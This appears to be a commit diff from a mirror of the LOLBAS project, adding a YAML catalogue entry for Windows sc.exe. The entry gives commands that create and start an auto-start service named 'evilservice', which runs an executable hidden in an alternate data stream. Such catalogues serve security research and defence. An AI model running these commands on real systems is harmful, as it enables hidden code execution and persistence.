mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-27 12:42:19 +02:00
MD files generate from Script, and adjustments to readme
This commit is contained in:
19
yml/OSBinaries/Sc.yml
Normal file
19
yml/OSBinaries/Sc.yml
Normal file
@@ -0,0 +1,19 @@
|
||||
---
|
||||
Name: SC.exe
|
||||
Description: Execute, Read ADS, Create Service, Start Service
|
||||
Author: ''
|
||||
Created: '2018-05-25'
|
||||
Categories: []
|
||||
Commands:
|
||||
- Command: |
|
||||
sc create evilservice binPath="\"c:\\ADS\\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
|
||||
sc start evilservice
|
||||
Description: ''
|
||||
Full Path:
|
||||
- C:\Windows\System32\sc.exe
|
||||
- C:\Windows\SysWOW64\sc.exe
|
||||
Code Sample: []
|
||||
Detection: []
|
||||
Resources:
|
||||
- https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
|
||||
Notes: Thanks to Oddvar Moe - @oddvarmoe
|
Reference in New Issue
Block a user